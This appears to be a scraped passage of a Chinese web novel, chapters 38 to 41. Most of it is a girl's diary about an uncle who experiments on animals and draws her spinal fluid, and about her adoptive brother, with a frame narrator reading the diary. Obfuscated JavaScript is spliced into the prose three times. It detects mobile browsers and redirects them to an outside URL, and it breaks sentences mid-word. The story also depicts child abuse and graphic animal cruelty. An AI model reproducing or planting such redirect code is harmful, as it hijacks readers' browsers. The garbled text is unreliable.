他一脚踹开我房间的门,声音巨响,吓得我生理性地发抖。他进来以后目光锁定在我的身上,我窝在哥哥的怀里,脑门贴着他的颈侧,这是一个令我很有安全感的姿势。 叔叔说我今天的任务还没有完成,并警告不要磨蹭,否则要我好看。我刚准备起身就感觉到环在腰间的那只手紧了紧,将我用力按在胸前,但在叔叔狠厉地目光扫过后,又放松了。我抬头,看见哥哥垂着脑袋,腮帮子因为用力过度外鼓,眼神晦暗不明,翻江倒海。我正想问为什么这样看我,他却把眼睛闭上了。 我爬了起来朝门外走,在即将踏出房门的时候哥哥喊住了我,他问我最近都在干些什么,他很好奇。我看了叔叔一眼,他不耐烦的情绪溢于言表。我嘴巴张了张,却怎么也说不出口,我该怎么表述,每天肢解老鼠?还是帮老鼠开颅?哥哥可能会被吓得再也不理我了。 最终我只是沉默着扯起嘴角笑了一下,比哭还难看。 7月11日晴 我从来没有如此痛恨过,叔叔给我任务那么多,根本忙不完,害的没法好好和哥哥叙旧,真讨厌……完蛋,叔叔又瞪我了。 等到我终于有时间溜去哥哥那里的时候,太阳早就落山。哥哥在书桌前做功课,我蹑手蹑脚地翻看摊在旁边的那些课本,说实话这些高年级的东西都看不懂,除了人体生物学。我大致瞥了一眼,兴奋地捧着课本直说我知道我知道,指着纸张上绘制的简陋人体图和哥哥手边摊开的习题册噼里啪啦一顿讲解。期间哥哥手中握着笔一言不发,直到我说的口干舌燥不得不停下来的时候,才笑着摸了摸我的脑袋。我问他我是不是很厉害,他说是的,然后又说拿些小零食给我,就出去了。 我坐在椅子上等他,一会翻翻他的课本,一会玩玩他的笔,最后等不及了,决定亲自去找他。下了楼,我听见争吵声,是叔叔和哥哥!偌大的客厅里,他们两个面对面站着,哥哥比叔叔高出半个头开,明明是俯视的姿态,气场却较叔叔弱很多。我不知道他们为什么争吵,只担心哥哥会不会挨打,毕竟小时候叔叔揍他就像家常便饭。 不出所料,叔叔一把揪起哥哥的领子!我惊慌失措,想要上前但双腿害怕地发抖,动都动不了。没想到的是,哥哥甩开了叔叔的手,叔叔一个踉跄。 哥哥胜利了? 到底哪一个胜利了不知道,只知道哥哥好像看到我了。我有些心虚,但哥哥没有怪我,摸了摸我的头,拉着我回了房间。 回房以后哥哥说时间不早了,把我推进浴室里洗漱,然后又让我赶紧上床睡觉。我问哥哥为什么不睡,他说等一会,但我眼尖地看见他手里拿着我刚才换洗下来的脏衣服,上面有一块深色的印记,好像是血…… 好巧不巧哥哥又问我这段时间在家里都在做些什么,我支支吾吾地说在家自学功课,但他对我的回答不满意,问我是不是又在帮叔叔做不好的事情。我想起刚才他和叔叔在客厅里的对峙,我怀疑叔叔什么都告诉他了。 不知道是一种什么感受,应该是害怕,如果哥哥知道了我在干什么的话一定会离我而去,我感到恐惧,就像整个人被丢进冰窟窿一样。我连忙扯开话题,说自己想吃草莓蛋糕,又觉得话题扯的太远显得牵强,把头埋进被子里借口自己困了。 7月12日晴 哥哥说要带我出去买草莓蛋糕,我开心极了,可叔叔不允许。后来不知道哥哥和他单独沟通了什么,他又同意了,但指着哥哥警告:如果她走丢,你就完蛋了。这话虽然是对着哥哥说,眼睛却落在我的身上。 一路上哥哥的脸色都不太好,我怀疑是因为叔叔临走前的那番话。我安慰地说我会牢牢地紧跟着他,不会走丢的。哥哥说自己不是在担心这个,他揉了揉我的头发,还亲了亲我的眼睛。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032029|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这时候我听到有人在怪叫,那人看起来和哥哥差不多大,身后还有一个女生。那个莫名其妙地家伙笑嘻嘻地指着我问哥哥:这是谁? 我看向哥哥,他心不在焉,好像不太想介绍我的样子。男生又笑嘻嘻问这个妹妹是谁,我抢着说我是他妹妹,那人顿时惊讶地张大了嘴巴。我不懂他为什么惊讶,倒是他身后的女生捂嘴笑了一下,她很漂亮,像爱神阿芙罗狄忒。 从哥哥口中得知两人都是他的同班同学,偶然遇见的。哥哥和他们聊了好一会,我听到两人问今天怎么不在学校附近打工反而跑到这儿来闲逛,我听到两人说真辛苦,不仅要自己赚生活费和学费,还要照顾小孩…… 哥哥一直笑着,眼睛弯弯的,太阳光照在脸上没有丝毫违和感。 终于闲聊结束,他们问哥哥准备去哪,想跟着一块,但哥哥没答应,打了个马虎眼就拉着我离开了。临走前漂亮姐姐送了我一本书,说我这个年纪的孩子都会喜欢的。 我简单看了一眼,书名是《荆棘鸟》。 哥哥说去蛋糕店买草莓蛋糕,让我在门口等着他,还告诉我如果遇到危险可以找警察。他神情严肃地问我知不知道警察是干什么的。我当然知道警察的作用,但哥哥在身边,会有什么危险。当我发出这个疑问后,哥哥沉默不语,转身进了蛋糕店。 其实我想问为什么不能一起去买蛋糕,但既然哥哥这样说,我就乖乖听话,坐在蛋糕店门口的耐心等他,顺便看看书。但我越看眉头越皱,拉尔夫和梅吉怎么越看越不对劲,真正该产生爱情的不该是梅吉和弗兰克吗? 哥哥还没有出来,明明比他迟进去的小情侣都手挽着手买完蛋糕走出来了。我决定进去找他。可进入店内我发现里面除了店员以外只有一个人站在蛋糕柜前,环绕了一圈都没有哥哥的身影。 店员走过来问我,小朋友有什么事?我报了哥哥的体貌特征,店员指着另一头说,他刚才从店的偏门出去了。 宛若晴天雷劈,我整个人都麻木了,耳朵里面嗡嗡的,连店员又说了什么都听不清。我从偏门追了出去,连哥哥的影子都没有。我很想哭,想到了哥哥说的遇到事情可以找警察,但我犹豫了一会,还是决定去追哥哥。 我很少出门,哪哪都是陌生。好在老天有眼,我跑的快要岔气了,终于看到了一个很像哥哥的背影。我再也忍不住,边哇哇大哭边扑上去抱住他的腰。他惊讶地回头,果然是哥哥。 哥哥问你怎么……说了一半又停下,神色怪异。我问哥哥是不是要抛下我,他说没有,我又问哥哥那为什么要丢下我一人从偏门溜走,他还是说没有。 到最后我哭的上气不接下气,气都喘不上来了,哥哥才弯下腰帮我擦眼泪。他说对不起,别哭了,然后晃了晃手中的漂亮小盒子说,蛋糕买回来了,我们回家吧。 我知道他在扯开话题,但我更愿意装作什么都没发现,就像他一样。 路上哥哥絮絮叨叨和我说了很多,比如我的爸爸妈妈是叔叔的好朋友,他们两位都是很优秀的人,再比如我小时候的一些事情,糗事和令人高兴的事。其实我希望哥哥能说一些新鲜的,因为这些我都记得一清二楚。 7月13日晴 哥哥问我那本书看到哪了,我知道他指的是爱神姐姐送我的那本《荆棘鸟》。我说没看,实际上我看了,只不过还没看完。 今天的日记就写到这里。我实在没心情,明天哥哥就要走了。 希望他别忘了我。 39.第 39 章 7月30日晴 明明注入的药水和平常无异,老鼠却死了,我被关进了禁闭室。这件事和我一点关系没有,药水的配比都是由叔叔把控,我被迁怒了。叔叔最近心情不太好,总念叨失败失败又是失败。 这次估计会被关很久。 …… 8月3日晴 叔叔好像把我忘了。 8月4日 晴 肚子好饿,我再也不挑食了。 8月5日晴 门终于开了,我好久没有看到光,没想到光这么刺眼,眼睛都睁不开。叔叔问我怎么在这里,果然他早把我忘了。 我说饿,叔叔让我等一会,然后我领到手术室,抽了我一管脊髓。 8月7日晴 好难受,腰好疼。叔叔骂我矫情,只是抽脊髓而已,以前又不是没抽过。可我从来没在饿肚子的时候抽啊。 这几天日记就先暂停吧,哥哥不在也没什么好写的。 8月19日晴 身体恢复了不少,但脊柱还是好疼。叔叔告诉我最近老鼠不好找,要我小心着点。 …… 9月12日晴 这几天天气都很不好,靠近窗边的时候能听到哗啦啦的雨声,鼻子里也湿乎乎的。雨下了很久,看样子估计还得一直下。我的腰疼得要命,又酸又麻,差点以为腰椎被河狸当成树干嘎吱嘎吱地啃。明明之前抽脊髓的伤已经愈合了,为什么还会疼。 叔叔说我是后遗症,随手丢给我一瓶药。我没敢吃。 …… 9月23日晴 哥哥临走时没说下一次什么时候回来,下次一定要主动开口问。 …… 9月29日晴 我不喜欢《荆棘鸟》这本书,原因不明。但不得不承认的是这本书真的很有魅力,我又看了一遍。 …… 10月15日晴 夏天结束了,我最爱的烈日也没有了。叔叔每次出门,回来时鞋底都会带着红色枯树叶。叶子脆脆的,一捏就碎,就像老鼠一样脆弱。 我最近特别不想靠近老鼠……准确说,是不想对他们进行实验。他们长着和我一样的瞳孔,同样的眼眶,刀刃刺入皮肤时,仿佛在对自己凌迟。 …… 10月27日晴 叔叔又要抽我的脊髓,他说我的东西很好用,比那些老鼠优秀多了。因为我,实验第一次有了新的突破。我不想抽脊髓,因为真的好痛,所以我第一次反抗,第一次躲起来。 我躲在地下室里,这附近有个水库,里面除了水以外还有好多专门培育的实验青蛙,呱呱呱的。以外我只会嫌吵,但现在只希望这些小东西能救我的命。 可惜最终我还是被按上了手术台,那么长一根针刺进背里。快要死了。我一直哭着喊哥哥,哭到嗓子哑了才意识到哥哥正在学校里念书,他听不到我的声音,也救不了我。 10月28日晴 每次抽完脊髓都能休息一段时间,挺好的,但我宁愿不要这种休息,谁知道我哪天会死去。叔叔难得给我做了点“美食”,他自称是“美食”,但我看了一眼,还是一如既往的泔水,狗屎不如,看着想吐。叔叔让我快点吃,但我真的没胃口。 我问叔叔以后还要抽脊髓吗,他反问不然呢。我哀求不要再抽我的脊髓,不然会死的。他说抽一两管而已,不会死的。他又问我想不想拥有一个只属于自己的东西,完完全全,永远离不开自己的东西 (昨天身体不舒服,写了一半就睡着了,今天接着写。) 叔叔问我想不想要一个完全属于我自己的东西,说实在的我不太理解他的意思。什么叫完全属于自己的东西,这本日记本只属于我的,手中的笔也是属于的,我自己……不对,我不属于自己,如果非要说的话,我希望我属于哥哥。在童话故事里骑士向国王献上生命以此效忠,我当然到不了效忠的地步,但是除了生命以外我似乎没有任何其他能够掌控的东西了。 我说我不需要。我有哥哥,我不会孤单。叔叔说:这话别讲太早,XXX(这是我哥哥的名字,但之前立誓不出现任何人名,所以用XXX代替)总有一天会离开,他还没有完全成年,哪怕经济上无所谓,其他各个方面都离不开唯一的父亲,他早就想跑了,这一天总会到来,且并不遥远。 他抚摸着我的脑袋,说我是一个天才,只要在他这里才不会被埋没。他还说,哥哥不会带我走的,因为我和他这个父亲,和这栋别墅一样都是哥哥人生的污点,只要这些东西存在于身边一天,哥哥就无法摆脱过去的阴霾。哥哥很优秀,阳光到刺眼,和我这种从沼泽里生长出来的扭曲枝条不一样。 10月30日晴 叔叔说的话我根本不信,但不可避免地会多想。哥哥和我不一样,他可以去学校不需要在家自学,可以认识很多朋友,可以长时间远离这栋别墅、叔叔和我……我好羡慕,好嫉妒。如果哪一天哥哥再也不回来了,都不会令人感到意外,本来这个地方就是肮脏腐臭的,谁愿意天天待在一个被尸臭腌入味的家伙身边。 我总算知道自己不喜欢《荆棘鸟》的原因了,因为拉尔夫,每当他离梅吉而去的时候,我恍若看到哥哥愈渐愈远的身影。 拉尔夫是一只鸟,哥哥也是一只鸟。梅吉对于拉尔夫来说是无法忘却的荆棘,带来痛意的同时又让他魂牵梦绕;而这座房子、叔叔和我都是笼子,对于哥哥来说,只是囚笼而已。 两人如此的相像,总有一天都会张开海鸥一般的双翅远远高飞。 只有我,我会被困死在这里,灵魂永远无法得到救赎。希望哥哥能回头看我一眼,哪怕一眼也好。 谁能救我出去。 …… 12月24日晴 哥哥终于又回来了。他像以往一样抱紧紧搂住我,亲吻我的脸颊和眼睛,这是属于家人之间的亲吻,我很乐意接受。他和我问过好以后,才冷着脸看向旁边,我这才发现叔叔不知道什么时候来了。叔叔说你居然会注重这种形式。一开始我不理解,只觉得两人又僵持起来了。哥哥率先放弃与他大眼瞪小眼,牵着我往楼上走。也许是看出我的疑惑,他告诉我今天是圣诞节。 圣诞节,属于这个国度的与家人团聚的节日。 在知道今天是什么节日后,我开心起来,什么荆棘什么囚笼,一切烦恼都抛到脑后。我没在圣诞节时出过门,但书上说在今天街边小巷都会装饰地漂漂亮亮。刚想拜托哥哥带我出去玩,讨人厌的叔叔就来了。他只要出现准没好事,要么被抓去给老鼠做试验,要么就是抽脊髓。我躲在哥哥身后不愿意出来,任凭叔叔怎么喊都不听。我听到哥哥的声音从上方传来:仅此一天,让她休息吧。 叔叔妥协,他走了。我知道出去玩的愿望落空,但不用再去讨厌的手术室躺冰冷的手术台,还能呆在哥哥身边,我已经很满足了,所以对于抽脊髓的事情只字未提,我不想哥哥再为我担忧。 晚上睡觉的时候,我失眠了。房间里面虽然黑漆漆的,但窗外透过帘子照进来的月光还挺亮,真巧方便了我写日记。 每当夜晚来临时,我的大脑里就会出现各种各样奇思妙想,或者说幻想,不着实际的白日梦。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我们的性命相连,宛如一跳绳子上的蚂蚱。这种感觉……真的很好。但可惜,哥哥不是蚂蚱,我也不是,连接我们的那条草绳早就被腐蚀殆尽,在断裂的那一刻,哥哥跳上属于生的高台,而我将坠入深渊,被恶心的烂泥包裹,活活憋死。 12月25日晴 思考了一晚上,终于下定决心了。我在别墅里绕了好大一圈,在实验室里找到了叔叔。他正对着一坨不知道什么东西如痴如醉,脸色白到发青,眼下黑黝黝的一片,看过来的时候格外吓人,就像那种可怕的僵尸。叔叔问我来干什么,你哥哥呢? 哥哥还在睡觉,我说。叔叔继续埋头捣鼓面前那坨:我答应过你哥哥,这几天你可以休息。 叔叔,你之前说的那个只属于我的东西,我想要。 在我说出这句话以后,叔叔明显一愣,似乎没想到我会这么说。为了表明诚心,我背过身子,掀起衣服露出伤痕累累的后背。寒冷侵蚀着脊柱上的伤痕,令我浑身发麻。 没错,我想要一个只属于我自己的东西,无论是什么。我的父母在幼年时期被死神召唤,永远离开我的身边,而我的生命也不知道何时会消逝,也许今天也许明天,就连哥哥也总有一天会离我而去,属于我的记忆会随着时间消散,最终只剩下“我曾经有个无血缘的假妹妹”一句话而已。 我无法留下任何存在于这个世界上的痕迹,所以我迫切的想要在这个世界上留下烙印,我想要寻找到一块被火烧热的铁钉,狠狠按在大地上,印出任凭时间流逝都抹不去的烫痕。 叔叔笑的很开心,嘴角几乎咧到太阳穴,像是终于遇见愿意献祭生命的愚蠢人类的恶鬼。他脱下白色手套:那太好了,事不宜迟,我们快点开始第一步。 他命令我:去躺到手术台上。 40.第 40 章 耳边听到有人就地坐下时衣服与地面摩擦的声音,是克拉斯回来了,他刚才去附近转了转。离开时他还特意说了一声,但我根本没有理会,谁在意他去哪,爱去哪就去哪,和我有什么关系。 我连头也没有抬,单手翻到下一页。 “看的还挺认真的。”我听到他说:“找到什么线索了?” 我答:“没有,这只是一个普通小女孩的日记而已……嘶——”我打了个寒战,之后的话全被这个寒颤淹没。身上的水还没有干,湿哒哒的贴在身上,冷得要命。 “需要衣服吗?” 我抬起头,只见克拉斯双手环胸,头靠在后面的墙壁,一条腿曲着一条腿伸直平坦在地上,坐姿十分嚣张。见我看过来,他掀开单边风衣,晃了晃。 “多谢,不用。”我又低下头去。 我的拒绝很明显,但他似乎没有接收到,反而继续向我搭话:“日记讲了什么,我也挺好奇的。” “一个小女孩的日记,仅此而已。”我又重复了一遍,但仔细一想和他说说也没什么,我只是费点口舌而已,不然他还得继续叽叽喳喳。他不知道从什么时候开始变得话唠起来,刚见面的时候虽说不是多么的冷酷但多少带一点爱搭不理,虽然我也不想搭理他就是了。 于是我开始娓娓道来: “简而言之,就是一个寄人篱下的小孩,围绕着讨人厌的叔叔和喜欢的哥哥……”余光里,克拉斯变换了一下坐姿,背似乎挺直了一些,“所记录的日常……” “不过,我大致能猜到最后发生了什么。可怜的孩子遭到最爱的哥哥抛弃,被禽兽不如的叔叔啃到渣都不剩一点。尽管如此我还是想继续看下去,我挺喜欢这个小孩的,总有种亲切感。” 在我说完以后,空气像是凝固一样,克拉斯沉默了好一会才开口:“有没有可能,事实反过来了?” 日记本上的字迹清晰但落笔僵硬,使了很大力气,背面都能看见顿笔的痕迹,指腹摸上去有些硌手。我垂着眸,“怎么可能。如果日记中所谓的哥哥本来就没有抛弃的意愿,那ta为什么感觉不到?” 说到底,还是想甩掉的,就像那些被丢到精神病院里的病人一样。有的确实被家人寄托着痊愈的心愿,但也有的是单纯放弃。“既然脑子有病那就在属于疯子的世界度过一生吧,下辈子投个好胎”,多么恶毒的话语,却也是最好的祝福。 “……如果没有姐姐,我也会是被抛弃的一员。”我手指摩擦着泛黄的纸页,喃喃自语。 “姐姐?”克拉斯重复了一遍,这两个字在口中碾过一圈,最后变成无法理解的嗤笑: “呵,姐姐。” . 12月26日晴 一直到哥哥离开,我都瞒的很好。哥哥向我道别,我乐呵呵地朝他挥动右臂,另一只手在身后握拳攥紧。没办法,实在是太疼了,我现在能忍着站立已经是奇迹,也许哥哥刚扭头关门,我就扑通跪倒在地爬都爬不起来。 我说我会想你的,哥哥问我为什么不问他什么时候回来。这个问题是我一直以来想问但不敢问的,如果哥哥过去每到离开时都抛出下一次回家时间作为念头,我也不会那么难熬。可惜现在的我有小秘密了,绝对不能被哥哥发现的秘密,如果哥哥长时间在家的话,这个秘密也许会暴露。长时间看不到哥哥,和那个还未出生但注定属于我的东西,两者似乎并没有任何可比性,我很贪心,都想要。 不过面对即将远行的人不能表现的太冷淡,所以我努力往常一样满脸不舍,重复了一遍哥哥话:什么时候回来? 哥哥维持着淡笑的表情看了我很久,然后说: 很快。 很快?是有多快?哥哥没有告诉我,而是就这样丢下两个令我抓耳挠腮的字离开了。 我盯着哥哥背影看的时间比以往长了许多,长到眼睛干涩发酸才回过神。多久能回来,一周?两周?还是和平常一样时隔几个月,我都快要忘记属于他的声音时才再次出现? 其实我更希望和那个小怪物的成功诞生日在同一天,这样我就能同时拥有两份快乐,我还可以领着哥哥去看,把属于我的狗,独属于我的东西介绍给我最爱的哥哥。 果然,我还是爱着哥哥的,哪怕直到他终有一天会抛弃我。唉,如果我们是亲兄妹就好了,至少有血脉相连,我们被名为亲情的绳子牢牢捆绑,无论另一方去往怎样的天涯海角,只要牵动这根绳子,就会触动心灵。 对了,其实关于那个需要抽取我的脊髓才能研究出来的小东西,我询问过叔叔能不能给我看一眼,就一眼,我想瞧瞧。叔叔没有答应,他说等到实验结束正式培育成功的那一刻,才能出现在世人面前,这是一个伟大生物工程,在此之前需要保密,具体为什么,他说期待越大成功率越大。 我知道还可以换个说法,期待越大失望越大。当然我只是在心里腹诽一下而已,没敢直接说出口,因为害怕叔叔会应激发飙。我也怀疑过叔叔是不是在忽悠我,但看他那副痴狂疯癫的模样……可能性不大。 …… 1月1日晴 新的一年。我应该出去看雪,而不是躺在床上承受腰痛。 1月3日晴 雪停了,窗户玻璃雾蒙蒙的,我抹掉玻璃上的雾气,屋外白茫茫的一片,最显眼的那棵树被雪白包裹,枝条都被压弯了。打开窗户冷气吹进来,灌进领口冷的我直发抖,但也特别提神,把我的睡意都吹跑了。 雪景很漂亮,如果哥哥在的话,我就能和他一块看雪景。而且哥哥喜欢抱着我,我坐在他身上,背部贴着他温热的怀抱,这样一来腰就不容易疼了,只要有哥哥,凌厉的寒风根本伤害不了我。 可惜哥哥不在。 一大一小的麻雀站在隔壁房间的窗台上,羽毛蓬松就像两颗圆球。两只鸟紧紧贴在一起取暖,温馨又可爱,我瞬间不痛快起来,抽了两张纸后回到窗边,将纸捏成纸团用力朝两只麻雀扔过去。我扔地不准没砸到,好在弄出的声响吓坏了它们,扑棱着翅膀一前一后一左一右地逃走。 呼——终于舒服了,我朝两只飞走的方向鼻子出气哼了一声。 …… 1月6日晴 今天来了一位客人,西装革履,还拎着个手提箱,模样一表人才,金黄色的头发闪耀,黑色墨镜在灯下反光……等等,在屋里还需要带着墨镜吗?真是个怪人。 他和叔叔交谈甚欢,两人似乎是朋友。叔叔招呼我过去,客人也笑眯眯地,但我就是觉得别扭,借口“叔叔你让我做的工作还没干完”就马不停蹄地溜走。 我的工作早就做完了,手术室也打扫地很干净,除了一股若有若无的血腥味以外堪称完美。我在这里呆了很久,不知道有多久,只觉得脑壳子发昏头一点一点的几乎快要睡着了,这才小心翼翼地走出去,满心都在期待那个金发墨镜男快点走。驱赶客人是一件很不礼貌的事情,但我没明面说对方也没听到,所以没事。 谢天谢地客厅里只有叔叔一个人,他在慢悠悠地端着玻璃杯喝咖啡,仔细一看正对面的沙发前也放着一杯没有动过的咖啡。哥哥如果正巧在夜晚学习的时候就会喝咖啡,那东西像墨水一样黑,喝起来很苦但闻起来很香,简直是不可貌相,再看看叔叔手里这杯,几乎是半透明的淡咖色,喝水差不多。 没错,叔叔觉得咖啡因会伤害大脑,但又因为长期睡眠不足必须用咖啡提神,所以他想了一个办法,将咖啡稀释到一定程度,既减少了咖啡因的摄入量又能够提神……但提神靠的不就是咖啡因吗,说实在的我搞不懂他在想什么。 还有最重要的一点,自己喝兑水到极致的咖啡就算了,怎么能给客人喝。难怪人走的这么快。 叔叔看起来心情不错,眼底的黑眼圈都带上了笑意。我问他是不是遇到了什么开心的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038641|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,他说是呀,自己研究了那么多年的好东西终于能卖出去了。 我心头一紧,他叔叔的研究品多的数不胜数,我不在乎他要卖哪一个,问题是只属于我的东西,不能给任何人。我心急如焚,问叔叔那我的东西呢。他询问式的嗯了一声,我说用我的脊髓制造出来的那个小东西,你说它属于我。 他哦了一声,应和着道它属于你,不会卖。 我这才松了口气。 …… 2月17日晴 一只青蛙能产几百只卵,几乎一半的卵都能孵化,水库里还没有天敌,简直就是乐园天堂。实验青蛙繁殖的太快,叔叔让我快点用,尽情地用。他平日里除了呆实验室就是坐客厅边烤火边看电视。青蛙的嘈杂声已经可以穿透地板直达地表,叔叔被吵得受不了了。 别说叔叔受不了,我也受不了,天知道这么小的家伙怎么能发出那么大的声音,呱——呱——呱,就像自带音响,在我的耳朵持续性爆炸,再继续下去,我就算不聋也得耳鸣。所以此时此刻的我没有丝毫心慈手软,打麻药的动作快准狠,下刀利索而又迅速。我觉得自己不是在做实验,而是餐厅处理青蛙食材员工,讨人厌的蛙叫就是顾客催菜的声音。 不得不说这些青蛙还真厉害,仅仅是转身的功夫,一只眉眼清秀的蛙就地产了卵,青蛙卵就像奇亚籽,半透明的膜包裹着黑色的籽,黏糊糊地飘在水里。见我来,漂亮青蛙蹬着腿跑了,跑到另一只绿青蛙旁边。 青蛙都是绿的,但那一只格外绿,就像刷了一层绿漆。 其实两只青蛙很早就来到实验室了,被扔在玻璃大缸里等待上实验台。不过这两只能活到现在也是有点本事在身上,精力异常旺盛还能跑能跳特难抓。在这里青蛙不稀奇甚至泛滥成灾,再加上我的腰动不动就疼一下,才懒得去和它们两个斗智斗勇呢。 没能想到的是就是这么一小段时间,两只青蛙竟然处出了感情,连孩子都生了。 俩青蛙黑眼睛瞪的老大,喉咙一鼓一鼓,警惕的盯着我。现在的它们简直就是一条绳上的蚂蚱,我突然笑了,其实也不知道自己在想什么,就是突然特别开心。 我把水里的青蛙卵捞起来啪地全都扔到一边,然后脱掉胶皮手套,放水。缸里一滴水都不剩,青蛙贴在玻璃缸地,脚蹼贴在上面。没了水后它们的逃跑方式从游改成跳,偏偏顶上是密封死的,除了我手伸进来那一小片没有任何缝隙。它们一连好几次撞到天花板,撞得眼冒金星,最后被折腾地没力气了,一只只取出来打麻药。 药效起来后,青蛙直挺挺地躺在一起,还真是一对璧“人”。我欣赏了好一会,才开始动手。 我没有将它们用作实验,否则太可惜了。两只青蛙奶白色带着斑点的侧腹被取掉一小块皮,然后没有皮的部分被缝制在一起,严丝合缝,宛如天生的连体儿,我为自己的技术感到赞叹。 它们共同孕育了生命,拥有着与旁“人”不同情谊,虽然没有血脉做连接,但有着名为爱的绳索,拥有着另类的亲情,就像我和哥哥一样,不是兄妹胜似兄妹,虽然只是青梅竹马,但自幼以来贯穿对方始终。多么动人的感情,真想永远维持下去,可惜…… 我看着它们俩,满眼羡慕。 麻药的药效过去,两只青蛙迷迷糊糊地醒了,真好,它们以后能一直在一起,永不分离…… 不对,不对不对不对不对……不对! 它们为什么在挣扎,为什么在向相反的方向逃离?它们不应该惊喜望着对方,然后深情地依靠在一起吗? 我看着它们拼命地挣扎……挣扎……就像咬了钩的鱼,满眼都是对生的渴望。然后突然之间—— 肚皮撕裂,血液飞溅,内里软绵绵的东西随着蹦跳四处散落。两只空洞洞的青蛙躲在离对方最远的角落里,死不瞑目的眼中满是惊恐。 和预想大相径庭,我有些喘不过气了。 41.第 41 章 2月18日晴 应该是凌晨,迷迷糊糊间感觉有温热的东西在轻柔地擦拭着脸。我一下惊醒了,却没想到看见的是拿着毛巾的哥哥。 他温柔地抚摸我的头发,埋怨怎么睡觉还能忘了洗脸。 我后知后觉地闻到一股淡淡的铁锈味,再一仔细看,发现哥哥手里拿着毛巾上粘着红红的颜色,像是血。我知道了,是昨天两只青蛙在挣扎间溅到我脸上的,因为没来得及擦,凝固在脸上,干掉的血不好清理,估计是没洗干净。没想到出了这么大一个纰漏,真不应该…… 哥哥问我是不是哪里受伤了,我结结巴巴半天才找到理由,说可能是鼻血。他怜惜地摸了摸我的脸,又问要不要吃药,我别开脸说不用了,现在很困想睡觉。 我的抗拒很明显,哥哥没再说什么,只是像往常一样亲了亲我的眼睛,亲了亲我的脸颊,亲了亲我的…… 嘴角。 2月19日晴 不知道为什么昨天大脑混乱了一整天,今天想补上却发现什么都记不得了。 算了。 哥哥的朋友们来家里拜访了,哥哥看上去心情很好,眼睛弯弯的,我也很开心,因为客人里有爱神姐姐,她比第一次见面的时候更漂亮了。只有叔叔不开心,客人们都聚在客厅,他认为属于自己的地方被占领了,背着手路过我的时候嘴巴里嘟嘟囔囔: 你哥哥人缘真是好得很。 客人们和哥哥聊着天,而我则躲在摆放在客厅的巨大摆钟后面偷偷看。我听不太懂他们在聊些什么,校园的生活,烦恼的恋爱日常,还有抱怨父母管教……都离我的生活太过于遥远,就像大海和云端,永远也没有接壤的一天。 我感觉落寞,转身想走,却被爱神姐姐喊住。她说早就看见我躲在那眨巴眼睛,就像只可怜的小猫,她又埋怨哥哥只顾着自己开心,全然不顾小妹妹。 没想到她竟然一直在关注我,我更喜欢她了。我蹦蹦跳跳地走过去,爱神姐姐伸手把我拉过去,让我站在她身前。她在我的头顶比划了一下,然后笑着说怎么一年不见个子一点没长。 凑近的时候我才发现她脸上抹了一层薄薄的粉底,还画了眼影,嘴巴是桃红色的,说话时一开一合露出的牙齿被衬得和陶瓷一样白。我看的入迷竟然忘了回话,爱神姐姐也不生气,反而笑眯眯的亲了一下我的额头。 额心传来柔软的触感,我害羞地偏过头,好巧不巧看见哥哥坐在单人沙发上,单臂曲起搭在膝盖上,嘴巴是笑着,眼睛却不再弯弯,显出原来的形状。这时候突然听见有人在喊我,扭头一看发现叔叔站在台阶上面,他说有事找我。 我知道肯定又是实验上的事情,明明今天有客人,难道不能休息一天吗,我想拒绝但害怕之后会遭到严惩,于是转头去看哥哥希望他能帮我说话。他却没有像以前那样把我搂在怀里,和我一起站在叔叔的对立面,僵持着许久后,我垂着脑袋站了起来。眼眶里热热的,说实话很难受…… 肩膀一紧,我抬头发现哥哥不知道什么时候过来的,他对我笑了笑:爸爸总是这样,我陪你一起。他笑容和煦,仿若真的是温柔的大哥哥,父慈子孝的家庭。 她年纪也不小了,今天我们学校是特例放假,可她也没去学校吗?爱神姐姐突然开口。 叔叔的声音悠悠传来:她身体不好,所以从小接受家庭式教育。 爱神姐姐若有所思地点了点头,看了哥哥一眼,继续和其他人聊天去了。 进入走廊,叔叔早就不见了。我一边庆幸一边又心有余悸地正打算探头探脑地找,哥哥将我掰过来面对他,弯下腰,拇指用力揉搓我的额头,愁眉不展:口红印怎么弄不掉,算了,过会儿帮你用水洗洗。 哥哥叹了口气,擦额心的手向上揉了揉我的头发,语气温和:没事,不用管他,你回房间就行,至于之后的事情由我来。 哥哥果然还是记忆中的哥哥,他永远都站在我这边。我重重地点了下头,脚步轻快地朝楼梯走,准备上楼,刚走没几步就被哥哥捞回去,唇瓣用力摁在嘴角,温温热热的。 我脑袋又开始发昏了,之后的记忆都变成了一坨浆糊,只记得路过拐角的时候发现叔叔脸色阴沉的站在那,以及刚踏上楼梯时隐约听见“担心她会说漏嘴”这句出自叔叔之口的话和哥哥略带愤怒的争辩。 夕阳的灿烂金黄照进来,透过玻璃,熟悉的人影从别墅从别墅走出来。窗户关的并不严,留了一条缝,我能听到他们的嬉笑对话。他们要走了,回学校去。哥哥也在其中,他穿着和其他人一致的校服,跟在最后面,时不时接上两句玩笑话。 